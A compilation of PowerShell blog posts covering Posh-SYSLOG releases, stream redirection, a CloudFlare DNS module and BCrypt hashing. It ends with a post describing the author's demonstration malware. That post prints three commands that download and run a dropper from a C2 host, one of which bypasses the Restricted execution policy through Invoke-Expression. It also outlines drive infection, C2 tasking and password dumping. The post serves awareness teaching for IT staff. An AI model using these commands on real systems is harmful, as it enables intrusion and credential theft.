Posh-SYSLOG 3.2 has been released
Over the Christmas break, I had a few hours to spare and tackled a few issues in some of my PowerShell modules. I’ve released Posh-SYSLOG 3.2 as a resolve of this.
This version removes the need to call Get-NetAdapter that's contained in the NetTCPIP module. The reason why I wanted to remove this dependency is to allow Posh-SYSLOG to run on PowerShell 6 (at least on Windows to start with).
Over the Christmas break, I had a few hours to spare and tackled a few issues in some of my PowerShell modules. I’ve released Posh-SYSLOG 3.2 as a resolve of this.
This version removes the need to call Get-NetAdapter that's contained in the NetTCPIP module. The reason why I wanted to remove this dependency is to allow Posh-SYSLOG to run on PowerShell 6 (at least on Windows to start with).
An issue has been reported on GitHub, Ben Claussen has identified an issue with the timestamp for RFC3164 messages. The fix appears to be simple, but I'll want to do some more through testing. I'm hoping to have this fix out in the next week as version 3.2.1.
You can get the updated version from GitHub, or better yet, the PowerShell Gallery.
Kieran Jacobsen
Sending SYSLOG messages to TCP hosts and POSH-SYSLOG V3.0
The Posh-SYSLOG module has been very popular since its first release in 2013. SYLOG provides a common integration point into enterprise monitoring, alerting and security systems and administrators and developers often need to push messages from their scripts and automation activities to a SYSLOG server.
There are two common pieces of feedback, TCP support and improving the performance. I am excited to announce a new version of POSH-SYSLOG, which introduces TCP support and a number of performance improvements.
Kudos must go to Jared Poeppelman (powershellshock) from Microsoft who provided the TCP logic, optimised performance, and added additional Pester cases. I took some time out to make some additional improvements on top of Jared’s work. Due to the significant changes and additional functionality, I am considering this to be version 3.0.
The easiest way to get the module is from the PowerShell Gallery using Install-Module -Name Posh-SYSLOG. You can also clone the GitHub repository.
The first big change by Jared, was to implement the Begin {} Process {} End {} structure for Send-SyslogMessage. With this structure, we can leverage the pipeline to send multiple messages. I have developed scripts where I needed to read application logs and then send them to a SIEM product using SYSLOG; access via the pipeline simplifies these scripts and hopefully improves their performance.
The logic around determining the correct value to be sent as the hostname has been cleaned up and refined. This piece was free of issues, however there were some small tweaks that potentially improved performance. The function is now called as part of the Begin {} block, improving performance for bulk message transmissions. The logic has been moved out to its own internal function, allowing for separate testing and better mocking opportunities in Pester.
Another source of performance improvement is the removal on the need to call Test-NetConnection. This is a dramatic source of improvement when Send-SyslogMessage is executed in a workgroup (that is, a non-domain joined) environment. Previously we called Test-NetConnection to determine the correct network interface that we are using to communicate with the SYSLOG server; now we simply ask the socket for the source IP address and then use Get-NetIPAddress to check if this is a statically assigned address.
All the network functionality and calls have been moved to internal functions. This helped with testing, I can now mock all the network activities which allows for better testing with Pester. The network tests are now much more reliable.
Finally, Jared and I have increased the number of Pester tests. I have tried to aim for over testing everything in the hope that all potential issues are flushed out. With a massive upgrade to the functionality, and such a refactoring have the potential to introducing issues. I am confident that things have been appropriately requested. If issues are found, please raise them via GitHub.
So what is the future now for Posh-SYSLOG? Well for now, I just want to ensure there are no bugs or issues, after that I want to look at implementing the other commonly asked feature; TLS support.
The PowerShell community has been amazing, I have been lucky to have such wonderful community contributions over the past few years. A massive thanks to Jared, Ronald, Xtrahost and Fredruk.
Kieran Jacobsen
Crossing the PowerShell streams
I was recently working with the PowerCat code which was capturing the Pipeline and Error output of code, and wondered, could I also capture the other messages being displayed? Why couldn’t I also redirect the warnings or the verbose output as well?
Let’s revisit how the redirection of the streams works in PowerShell, and hopefully learn about how PowerShell does things under the covers.
To explore the output streams, I am going to use the CMDLet I have below, which is a varation of the one June Blender used in her post on this topic.
It should also be noted that redirection to a variable is similar as to a file. In my examples I am redirecting to a variable.
So what happens if we run this CMDLet normally? We should see four distinct messages, first is out the text we are displaying by just returning a string, next we will have our write-output, then we have write-warning, and finally we will have the wrote-error message (and its associated trace).
What happens if we decide to assign the output to a variable called $output? Let’s take a look.
As you can see, after running the function, we still saw the warning and error messages. What was stored in the variable? Well if we look at that we can see that the text return and the write-output were successfully assigned to the variable $output.
Ok, so how about we apply the old redirection rules that have existed in every shell since the 80s?
Well this is much as we expected, but wait, the warning was displayed and not captured in the variable. The variable has our two output strings and it also has the write-error message as well. As a side note I love how the when calling $output PowerShell still displays the error in red.
If you are running PowerShell 2.0 (or less), this is the end of the line for you. There is no help for you.
If you are running PowerShell 3.0 (or greater), then how do we capture that warning message? What about the verbose?
With the introduction of PowerShell 3.0, Microsoft included support for capturing the other streams, and they did so in a method which is simple, clean and logical. Microsoft simply extended the stream redirection along the well-known and practiced methods.
Let’s take a look at the streams in PowerShell 3.0:
| Stream Number | Stream Description | Redirection |
|---|---|---|
| 1 | Pipeline/Output/Success | > |
| 2 | Error | 2>&1 |
| 3 | Warning | 3>&1 |
| 4 | Verbose | 4>&1 |
| 5 | Debug | 5>&1 |
| * | All | *>&1 |
Let’s take a look at the previous example again, however this time we will redirect the output of stream 3, warning, to stream 1.
As you can see, we captured this information just as expected.
Let’s try verbose output now.
We can see that simply using 4>&1 captures the output. We can also capture all output using the wildcard, *>&1.
I can hear one person asking, “But what about write-host?”
There are many reasons why you should not use write-host, firstly, Jeffrey Snover, the creator of PowerShell says not to, Don Jones, a PowerShell MVP says “Write-host kills puppies” <link>, however both agree, as does the PowerShell community, that there are some times when it might be handy to use Write-Host. Write-Host is black PowerShell magic, it’s the dark side of PowerShell. It is not something you should do without very thoroughly thinking about what you are about to do.
The only legitimate time to use Write-Host, is when you do not want to interrupt or pollute your stream. If you have a situation where you wish to display text to the user in such a way that it will not be caught up in the pipeline.
I only use Write-Host in one piece of code. I use it as part of my modular alerting framework, where I know that the message needs to be seen by the actual user of the code. I also didn’t want event/alert messages contaminating any of my other pieces of code. When I wrote the code, I knew it was a risky piece of code, however it has a clear cut function and purpose.
So what happens to Write-Host and redirected streams? To show you, I have added a Write-Host line to our previous CMDLet as show below:
Let’s run the code, redirecting all input (*>&1) into $output.
As you can see, the write-host was still displayed, everything else was captured in $output.
So what information is around on stream redirection? There are three good resources, firstly, check out June’s post on Hey Scripting Guy, secondly, PS> Get-Help about_Redirection and finally, there is the Microsoft Connect entry where the functionality was requested.
Kieran
PS. No streams were crossed during the creation of this post.
Revisiting Syslog in PowerShell
I have performed a number of updates to the PowerShell SYSLOG module since this post. You can read the latest post. The module has been renamed to Posh-SYSLOG.
The GitHub location has been moved to https://github.com/poshsecurity/Posh-SYSLOG.
The module is now available on the PowerShell Gallery.
I often wonder, as I am sure most developers do, if people ever actually read and use the code that I post online. Was it helpful to them or was it useless? Did they use it for something interesting? One piece of code which I know people do use, is my PowerShell SYSLOG code.
A few weeks ago, a user opened my very first GitHub issue! This issue appeared at first to be simple, but as the user and I started to delve into the complexities of the various SYSLOG RFCs, I realized it was far from it.
Before we get into the issue, the code and the resolution, it is worth highlighting that there quite a few IETF RFCs that relate to SYSLOG messages. The two primary ones being:
- RFC 3164 - BSD SYSLOG. This actually wasn't an IETF standard.
- RFC 5424 - IETF SYSLOG. This is a IETF standard. This obsoletes RFC 3164.
There are also RFCs:
- RFC 3195 - Reliable Delivery for SYSLOG
- RFC 5425 - TLS Transport Mapping for
- RFC 5426 - Transmission of SYSLOG Messages over UDP
- RFC 5427 - Textual Conventions for Syslog Management
- RFC 5848 - Signed Syslog Messages
- RFC 6012 - Datagram Transport Layer Security (DTLS) Transport Mapping for SYSLOG
- RFC 6587 - Transmission of SYSLOG Messages over TCP
I want to send a very big thanks out to the user, DFCH for reporting the issue, helping me understand the RFCs in question and also testing the resulting code.
The Issue
So what was the issue? As DFCH stated:
“The Cmdlet send-syslog.ps1 states in its description to send a syslog message as defined in RFC 5424. However the generated timestamp in the Cmdlet incorrectly formats a timestamp when none is specified by the caller, nor does it validate or convert the timestamp if specified by the caller.”
I will admit that I hadn't ready RFC 5424 or RFC 3164 in a huge amount of detail. As soon as I did it was very obvious that the code was not producing an appropriate timestamp, it also become evident that the overall message I was sending did not meet the RFC specification.
From my analysis, it appeared that I had crossed parts of both RFC 5424 and RFC 3164, ending up with code that wasn't fully complaint to either, and in the long run, not entirely useful.
As DFCH reported, the code didn't not generate the appropriate timestamp, with issues in how it was formatted as well as the precision. Resolving these issues was quite simple, the timestamp could be formatted as recommended by DFCH, this not only resolved the format issue but also increased the precision. Validation of the caller specified timestamp was also easy to implement. I simply changed the parameter to take an object of type DateTime instead of a String.
But this was just the start of the fixes, as I continued to read and understand the RFCs, I realized my messages were incorrectly formatted as well.
Message Formats
There are two valid SYSLOG message structures as defined in RFC 3164 and 5424.
Firstly, RFC 3164 specifies the message structure to be the following:
<PRI>TIMESTAMP HOSTNAME TAG CONTENT
Where:
- PRI - Value based on severity and facility
- TIMESTAMP - What date and time with format MMM dd HH:mm:ss
- HOSTNAME - Who is sending the message
- TAG - Name of the process or program generating the message
- CONTENT - Obviously the message being sent
Next, RFC 5424 specifies the message structure as:
<PRI>VERSION TIMESTAMP HOSTNAME APPNAME PROCID MSGID STRUCTUREDDATA [CONTENT]
Where:
- PRI - Value based on severity and facility
- VERSION - Version of the SYSLOG message (typically 1)
- TIMESTAMP - What date and time with format: yyyy-MM-ddtHH:mm:ss.ffffffzzz
- HOSTNAME - Who is sending the message
- APPNAME - Name of the process or program generating the message
- PROCID - Process ID of the application or script
- MSGID - An Identifier to assist in troubleshooting
- STRUCTUREDDATA - RFC 5424 specifies a method of sending key/value pairs
- CONTENT - Obviously the content of the message
One thing to note with RFC 5424 is that the majority of the fields are optional, you still need to send something to ensure the correct layout however, so the nil value "-" is sent. I should also point out that the RFC states that the CONTENT section at the end is completely optional. If nothing is sent, you don't need to even send the nil value.
My original code on the other hands, was sending messages with the structure of:
<PRI>TIMESTAMP HOSTNAME CONTENT
Where:
- PRI - Value based on severity and facility
- TIMESTAMP - What date and time with format: yyyy:MM:dd:-HH:mm:ss zzz
- HOSTNAME - Who is sending the message
- CONTENT - Obviously the message being sent
How did this happen?
Well, there are a few reasons why this occurred, in no particular order.
- I borrowed some of the logic and ideas from other .Net and PowerShell code samples
- I didn't read either RFC
- The SYSLOG servers I tested against were not stringent in their rendering of messages received.
- I referred to Wikipedia when I was checking that my messages were correctly formatted.
In hindsight, the biggest mistakes were using Wikipedia as my guide, and not testing against a more RFC compliant server.
Using Wikipedia as a source for developing compliant code is probably a bad idea, on this occasion it was a great learning experience. Previously the SYSLOG Wikipedia article did not correctly describe the layout and formatting of the full message, crucially missing out the information about the TAG field. The article has been updated since then with corrections ensuring that it is more understandable. It should be noted however that overall, the Wikipedia article is still focused on RFC 3164 and not 5424.
Let’s look at how we clean-up the code.
Additional Parameters
To ensure that we have enough information to support RFC 5424, I needed to add some additional Parameters (which are not mandatory). These include ApplicationName, ProcessID, MessageID, StructuredData and a switch RFC 3164.
The switch RFC 3164 will simply tell the code to send a message in the RFC 3164 format, instead of sending it via RFC 5424 which is its default.
Hostname Generation
Previously, if the hostname parameter was not specified in my code, I simply used the hostname.exe. Whilst there isn't any problems with this, however RFC 5424 actually specifies in some detail how the hostname field should be determined:
- The FQDN of the server
- A static IP address
- The hostname of the server (Windows will always have on of these)
- Dynamic IP address
- A NILVALUE (-)
I have updated my code to generate the hostname component of the SYSLOG message via the first 3 steps.
Application Name
The Application name can be a little difficult. Typically from within a function we can determine the name of the script which is calling the function via 2 properties of the $myInvocation variable: ScriptName and PSCommandPath. I have used ScriptName with success in the past, and hence decided to use it again. There is one thing to note, if I am sitting at a console and call send-syslogmessage, then ScriptName will be null, and if that is the case, we will simply use “PowerShell”.
Process ID
The Process ID is new requirement to ensure RFC 5424. We get this simply from the $PID global variable.
Message ID and Structured Data
These two will always be user specified, if the user doesn't specify them, then send the default RFC 5424 nil value of "-".
Message Generation
Now that we have all of the information required for either RFC, we can now look at message generation. When it comes time, I simply have an ‘if’ statement that controls which format we want to use. The script will then format the timestamp and message accordingly.
Message generation looks like the following:
For RFC 3164, I fixed up the timestamp, and also added in the application name. For RFC 5424 there are some significant changes. I now correctly include the SYSLOG version (1), and then included the corrected timestamp, application name, process ID, message ID and structured data.
The Future
If there was a demand, I would be interested in extending the CMDLet to support the transmission of messages via TCP, as well as sending signed messages. Right now, I don't have a need for such things.
Conclusion
Now that all of those changes have been completed and tested, I have pushed the changes up to the PowerShellSyslog GitHub repository.
I want to thank DFCH again for raising the issue and helping me through the development of the fixes.
Kieran Jacobsen
Posh-CloudFlare managing CloudFlare using PowerShell
The aim of the Posh-CloudFlare module is to simply and automate the management of CloudFlare hosted DNS zones using PowerShell and the CloudFlare Client API. I have made the module available via the PoshSecurity GitHub, here Posh-CloudFlare.
I started looking at CloudFlares API several months ago, as part of another post which I am still working on. Back then I was simply looking at the creation and deletion or records.
Things changed when I found that I needed to spend quite a bit of time working with DNS. Provisioning new infrastructure within cloud environments is something I spend a significant amount of time doing, and am actively investigating the automation of it, and as such, become interested in other parts of the API.
This module now implements all of the Client API, with 22 CMDLets in total. To simplify things, I have documented what CMDLet maps to what API call below:
|
CMDLets |
API Actions |
|
get-CFDNSZoneStatistics |
3.1 - "stats" - Retrieve domain statistics for a given time frame |
|
get-CFDNSZone |
3.2 - "zone_load_multi" - Retrieve the list of domains |
|
get-CFDNSRecord |
3.3 - "rec_load_all" - Retrieve DNS Records of a given domain |
|
get-CFDNSZoneStatus |
3.4 - "zone_check" - Checks for active zones and returns their corresponding zids |
|
Get-CFIPThreatScore |
3.6 - "ip_lkup" - Check threat score for a given IP |
|
get-CFDNSZoneSettings |
3.7 - "zone_settings" - List all current setting values |
|
Set-CFDNSZoneSecurityLevel |
4.1 - "sec_lvl" - Set the security level |
|
Set-CFDNSZoneCacheLevel |
4.2 - "cache_lvl" - Set the cache level |
|
Set-CFDNSZoneDevMode |
4.3 - "devmode" - Toggling Development Mode |
|
Clear-CFDNSZoneCache |
4.4 - "fpurge_ts" -- Clear CloudFlare's cache |
|
Clear-CFDNSZoneFileCache |
4.5 - "zone_file_purge" -- Purge a single file in CloudFlare's cache |
|
Add-CFBlackListIP Add-CFWhiteListIP Remove-CFListIP |
4.6 - "wl" / "ban" / "nul" -- Whitelist/Blacklist/Unlist IPs |
|
Set-CFDNSZoneIPVersion |
4.7 - "ipv46" -- Toggle IPv6 support |
|
Set-CFDNSZoneRocketLoader |
4.8 - "async" -- Set Rocket Loader |
|
Set-CFDNSZoneMinification |
4.9 - "minify" -- Set Minification |
|
Set-CFDNSZoneMirage2 |
4.10 - "mirage2" -- Set Mirage2 |
|
New-CFDNSRecord |
5.1 - "rec_new" -- Add a DNS record |
|
Update-CFDNSRecord |
5.2 - "rec_edit" -- Edit a DNS record |
|
Remove-CFDNSRecord |
5.3 - "rec_delete" -- Delete a DNS record |
The Client API can be a little tricky at first, I have developed the CMDLets in a manner to simplify the learning curve. Typically any API call which modifies or removes a DNS record, would require a rec_id to be specified. This field can be found by querying all of the records in the zone. I have simplified things by performing the search and other API queries for you. You can still specify a rec_id if you like.
Switches and parameter validation sets have been used to simplify some of the other CMDLets, particularly those around minification, security and other zone wide settings.
Finally I have tried where possible to make good use of the Pipeline. There are still a number of areas that could be improved.
Getting Started
The first thing you will need to do, is obtain your API Token. This can be found on your Account page. You will need this, and the email address you use to sign into CloudFlare for the majority of the CMDLets. For CMDLets which modify DNS Zones or records, you will need to specify the zone as well.
To obtain the module, simply perform a git clone to your preferred module location as below:
I have included a demo script, Posh-CloudFlare-Demo.ps1 at the root level of the module, which you can run on the namespace of your choice. I recommend not using your corporate production domain. At the top of this script, simply update the API Token, Email and domain name fields as required.
You can then run the script, and see it manipulate the DNS zone. I am not responsible if this breaks production. This script shows you each CMDLet and it's output. I don't recommend simply running the script, I recommend stepping through each line so you gain more of an understanding.
Potential Uses
The automatic provisionment of cloud hosted environments is why this was developed as well as another project I will announce in the coming future. For now, I see myself working on at least one module to support the automation of Office 365 provisioning, including creating the TXT, MX and SRV required.
Warnings
Firstly, I haven’t finished up the PowerShell help – Naughty! I will work on this one as I go.
Secondly, there might be some bugs. Whilst I have tried to test the majority of the permutations of the code, I can’t be fully sure I haven’t missed something. If you find one, please feel free to contact me and I will make the required fixes, or even better, push your updates up to GitHub.
Kieran Jacobsen
Sending SYSLOG messages from PowerShell
I have performed a number of updates to the PowerShell SYSLOG module since this post. You can read the latest post. The module has been renamed to Posh-SYSLOG.
The GitHub location has been moved to https://github.com/poshsecurity/Posh-SYSLOG.
The module is now available on the PowerShell Gallery.
I had this need to send some SYSLOG messages from PowerShell, and there are many reasons why you might want to do this one, from notifications to logging, SYSLOG can be very handy.
I looked around online and could not find a really simple and easy to use piece of code. There were some examples out there, but they were all a little rough around the edges, and I knew I could clean them up and improve upon their design.
Before we get to the code, let us take a quick look at the SYSLOG protocol. According to Wikipedia, the SYSLOG protocol was originally developed in the 1980s by Eric Allman as part of Sendmail and is now standardized by IETF in RFC5424.
A standard SYSLOG message consists of four things:
- A priority - how bad is it?
- A Timestamp - when is this occurring
- A hostname - who is sending the message
- A Message - kind of obvious
One thing to note is that the priority is not that simple. The priority in the message is actually made of two things: the severity and the facility, or what the application or subsystem generating the message is. The levels are defined in the tables below:
| Facility Number | Keyword | Facility Description |
|---|---|---|
| 0 | kern | kernel messages |
| 1 | user | user-level messages |
| 2 | mail system | |
| 3 | daemon | system daemons |
| 4 | auth | security/authorization messages |
| 5 | syslog | messages generated internally by syslogd |
| 6 | lpr | line printer subsystem |
| 7 | news | network news subsystem |
| 8 | uucp | UUCP subsystem |
| 9 | clock daemon | |
| 10 | authpriv | security/authorization messages |
| 11 | ftp | FTP daemon |
| 12 | - | NTP subsystem |
| 13 | - | log audit |
| 14 | - | log alert |
| 15 | cron | clock daemon |
| 16 | local0 | local use 0 (local0) |
| 17 | local1 | local use 1 (local1) |
| 18 | local2 | local use 2 (local2) |
| 19 | local3 | local use 3 (local3) |
| 20 | local4 | local use 4 (local4) |
| 21 | local5 | local use 5 (local5) |
| 22 | local6 | local use 6 (local6) |
| 23 | local7 | local use 7 (local7) |
and
| Code | Severity | Keyword | Description | General Description |
|---|---|---|---|---|
| 0 | Emergency | emerg (panic) | System is unusable. | A "panic" condition usually affecting multiple apps/servers/sites. At this level it would usually notify all tech staff on call. |
| 1 | Alert | alert | Action must be taken immediately. | Should be corrected immediately, therefore notify staff who can fix the problem. An example would be the loss of a primary ISP connection. |
| 2 | Critical | crit | Critical conditions. | Should be corrected immediately, but indicates failure in a secondary system, an example is a loss of a backup ISP connection. |
| 3 | Error | err (error) | Error conditions. | Non-urgent failures, these should be relayed to developers or admins; each item must be resolved within a given time. |
| 4 | Warning | warning (warn) | Warning conditions. | Warning messages, not an error, but indication that an error will occur if action is not taken, e.g. file system 85% full - each item must be resolved within a given time. |
| 5 | Notice | notice | Normal but significant condition. | Events that are unusual but not error conditions - might be summarized in an email to developers or admins to spot potential problems - no immediate action required. |
| 6 | Informational | info | Informational messages. | Normal operational messages - may be harvested for reporting, measuring throughput, etc. - no action required. |
| 7 | Debug | debug | Debug-level messages. | Info useful to developers for debugging the application, not useful during operations. |
Here are a few examples:
- Emergency Message from Kernel = (0 * 8) + 0 = 0
- Alert from User = (1 * 8) + 1 = 9
- Informational from mail = (2 * 8) + 6 = 22
When you look at a SYSLOG servers output, it probably has the severity levels and facilities nicely printed, all it is doing is reversing the process. For example, if we received a priority of 58, we would firstly divide 58 by 8, this comes out at 7.25, if we just take the whole number, we can see that this was a message from the NEWS facility, if we take 7*8 from 58, we get 2, and this, we know this was a critical severity message.
As you can see, the whole thing is rather easy. The SYSLOG protocol is brilliant in its simplicity.
So, back to PowerShell.
If we were going to write a PowerShell CMDLet to send a SYSLOG message, what would it look like?
Let us start with parameters. We are going to need to know the SYSLOG server we want to send the message to, we need a message to send, and we need to define the severity and facility that is sending the message. Optionally we might want to specify the hostname of the machine sending the message (we can get this if not specified), we might want to specify a timestamp (but we could get lazy) and finally our SYSLOG server might be running the service on a different port, so we should be able to specify the port if it is different from the default, UDP514.
How do we go about specifying the severity and facility levels? We don’t want to force users to remember 0 through to 7 and 0 through to 23? We need to make this easier! How about some sort of data type? Thankfully, we can use ENUM types within PowerShell to define some simple data types and simplify specifying these parameters. If you don’t know about ENUMs, I suggest you do some Googling, they are very handy and quite useful.
What would the ENUM definitions look like?
For those of you who don't know, each item in the ENUM is assigned a number, starting with 0. We will use these numbers as part of our calculation of the priority.
So once we have these data types defined, what's next? Let's take a look at parameters. Parameter's for a function are pretty straight forward, destination server, message, severity, facility, hostname, and date/time stamp are all we really need. In terms of mandatory parameters, only the first 4 are, we can determine the other two for the user.
What's next? Well, what about determining the priority to be sent based upon severity and facility?
The only other tricky part is the date/timestamp, but once again, that isn't too tricky. We just use Get-Date and a custom specified format.
Finally let's stick it all together:
Well we now have a message to send to the syslog server? Well all that is left to do is encode and send the message using a UDP client object.
The finished CMDLet looks like this:
You can also see the finished product on my GitHub. I built a module based upon my prefered structure here.
As you can see, this is all pretty simple stuff. Now we get to go off and user it in your scripts! Using this CMDLet is pretty simple, there is an example included in the comments. Simply specify the various details, and then check your SYSLOG server to see the results.
Stay tuned into my blog for a non-PowerShell post about some issues I recently faced with Windows Integrated Authentication.
Password Hashing with BCrypt and PowerShell - Part 2
Welcome back. So last time we covered some basics on hashing passwords, this time we will get into some code.
What I like about BCrypt.Net, is that I don’t really need to think to hard about what I am trying to do; all of the hard work has been done for me. It provides us with basically every function we could possibly desire, more importantly, it provides more functions than we really need, to the extent that I feel it provides enough functions for you to make a very poor implementation if you so desired.
In the bCrypt .Net we have the following functions available to us, and in my PowerShell implementation, I have made some of these available to us. In case you wondered, here is the list of methods bCrypt.Net provides:
- GenerateSalt
- HashPassword
- HashString – Alias for HashPassword
- Verify
What is the verify method you ask? Well this is a very cool method. You provide the method a plain text string (someone’s password as input on a login form) and a hash. It will then go off and hash the input, and compare the two, returning true if they do. This method does all the work, it can find the workload factor, the salt and do all the comparisons. All so simple and easy.
So what do my CMDLet’s look like?
This is how I have defined by CMDLets:
- Get-BCryptSalt = GenerateSalt
- Get-BCryptHash = HashPassword
- Test-BCryptHash = Verify
Well let’s cover off how we make bCrypt available to powershell. Firstly we need to add the .net classes/types to the PowerShell environment using the add-type cmdlet. For example:
Add-Type -Path C:\files\bcrypt\BCrypt.Net.dll
Once that has been done, we can go ahead and use the cmdlets.
Here is our salt cmdlet:
And hashing cmdlet:
And the verify cmdlet:
So, lets talk a little about the simple code we are seeing. See the lines like "[bcrypt.net.bcrypt]::hashpassword($InputString, $WorkFactor)", well what we are doing here is calling the hashpassword method, from the class bcrypt, in the .net namespace bcrypt.net. This is simple, because the method is a static method for the class (if it wasn't, we would need an object instance).
Finally the module:
So let's look at some examples of how to use what we have learnt:
PowerShell Malware
I was originally planning to publish this blog post in a few weeks’ time, once I had covered some more PowerShell basics however; things have forced me to proceed sooner.
Sophos on the Naked Security Blog posted an article on some ransomware written in PowerShell, which was then written about on LifeHacker; from there my inbox received numerous emails. I felt compelled at this point to write about my PowerShell Malware.
Back in December, I did a presentation at Infrastructure Saturday titled Malware, What! The aim of the presentation was to show IT Professionals how bad guys can get into their networks, and then some things that they can do once they get in. The situation was that of a former employee going rogue and wanting to cause major embarrassment to his former employer, boss, and teammates.
I used some very simple social engineering attacks for the attacker to get a foothold and install a very simple piece of malware. With the simple malware, the attacker obtains domain administrator credentials, gains administrative access to a domain controller and finally dumps the hashes in the Active Directory database then uses CloudCracker to crack those. I finished the session with some HID hacking.
The one important thing was that the simple malware used, written by myself, was entirely in PowerShell. Why did I use PowerShell? Firstly, I wanted to show IT Professionals, in a simple way, what the inner workings of a piece of malware might look like. If IT Professionals saw some simple code that went off to a remote C2 server, downloaded a set of instructions, and executed each one, then they might start to come up with some strategies to protect their organisations. Another reason to use PowerShell is that it honestly makes a great platform for a backdoor. Microsoft made PowerShell as a platform for Administrators to manage large fleets of computers, or in another view, for bot net/malicious users to manage large fleets of infected computers.
One other thing I want to cover before I start showing you more of the actual malware, I wanted to point out that in my demonstration, the scripts were all digitally signed, the cert performing the signing was trusted by all of the computers in the victims network. For safety, I used a certificate issued by a private CA I created (and like the rest of the C2 infrastructure have taken down), but in real life, it could easily have been a valid third part certificate. So much malware are digitally signed, and I wanted to continue this theme, besides, it allows us to bypass some of PowerShell’s built in security.
So how did my malware work? The malware has several parts, a dropper “Infect-WebPC.ps1”, the code which will go off and talk to the C2 infrastructure <>…
Let us look at the infection of a user’s computer. In my example organisation, everyone was running Windows 7, with UAC off and with users running as local admin, much like a large number of organisations. This is a popular configuration for software developers.
In my presentation, the attacker tricked users into running one of three commands:
1.
@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
2.
@powershell -noprofile -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"
3.
@powershell -noprofile -command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');$exp = '';get-content c:\programdata\infect-webpc.ps1 | foreach {$_.trim()} | where-object {!$_.startswith('#')} | foreach { if ($_.startswith('{')) { $exp=$exp+$_ } else { $exp = $exp + ';' + $_}};invoke-expression $exp"
The first will work against any user whose PowerShell execution policy is the set to the default. All we are doing is asking PowerShell to use the .Net frameworks WebClient object to download our PowerShell dropper script and then execute it. Notice here we specify the PowerShell’s session execution policy to unrestricted.
The second is actually simpler than the first, and will work whenever the execution policy set to “RemoteSigned” or “AllSigned”, other than that, it is the same as the first one.
The third is the kicker; this one BYPASSES the restricted mode execution policy setting. Normally no scripts would run, yet in this case, I can get my dropper to run. How?? Well, we start by downloading the dropper script as we previously did, but we do some other things instead of simply executing the script. This time we read the script, and then turn the nicely formatted script into a PowerShell “one-liner”, from there we use invoke-expression to run that one-liner. Now we are running our malicious code, bypassing that lovely security policy.
So far, things are simple; now let us look at the dropper's code:
Simply put, it will see if the system is already infected, or if my “don’t infect flag file” is present; if they are, then it does not do anything; otherwise, it runs the following steps:
- 1. Downloads the scripts needed: Infect-PC.ps1, Infect-Drives.ps1, invoke-candc.ps1
- 2. Downloads two windows task scheduler xml definition files: infectdrives.xml and invokecandc.xml
- 3. Imports the two scheduled tasks using schtasks.exe
- 4. Runs the two scheduled tasks using schtasks.exe
All very simple for a dropper script.
Now what are the two scheduled tasks? The first is infect-drives.ps1, this runs every 5 minutes and simply put, will drop an autorun.ini file and the infect-pc.ps1 script on every drive (remote or network share) that it gets its hands on to. It is a simple drive infector. I was going to show this off during my presentation, but ran out of time.
The other script, invoke-candc.ps1, and runs every 30 minutes, this script is more interesting than the others are, as it performs most of the workload. The code looks like:
The invoke-candc.ps1 script performs the following steps:
- 1. Creates a file containing the running process and installed services, it then uploads this to the C2 server
- 2. Downloads a list of tasks to be completed from the C2 server
- 3. Reads a file containing the id numbers of previously run tasks
- 4. From the task list from the C2 server, it filters out any tasks it has previously run, or any task that has a hostname listed which isn’t it
- 5. It will then executes the remaining tasks, and if it completes successfully, logs the task number to a file
Tasks can be anything, from a PowerShell expression, script or any windows executable. In the demo, I used a mixture including:
- Download and upload files
- Download PwdumpX and other password dump tools
- Run PowerShell Scripts
As you can see, it is all very simple.
I have the code up on GitHub, and the slides with my presentation notes are here. The C2 server is down, and will remain that way.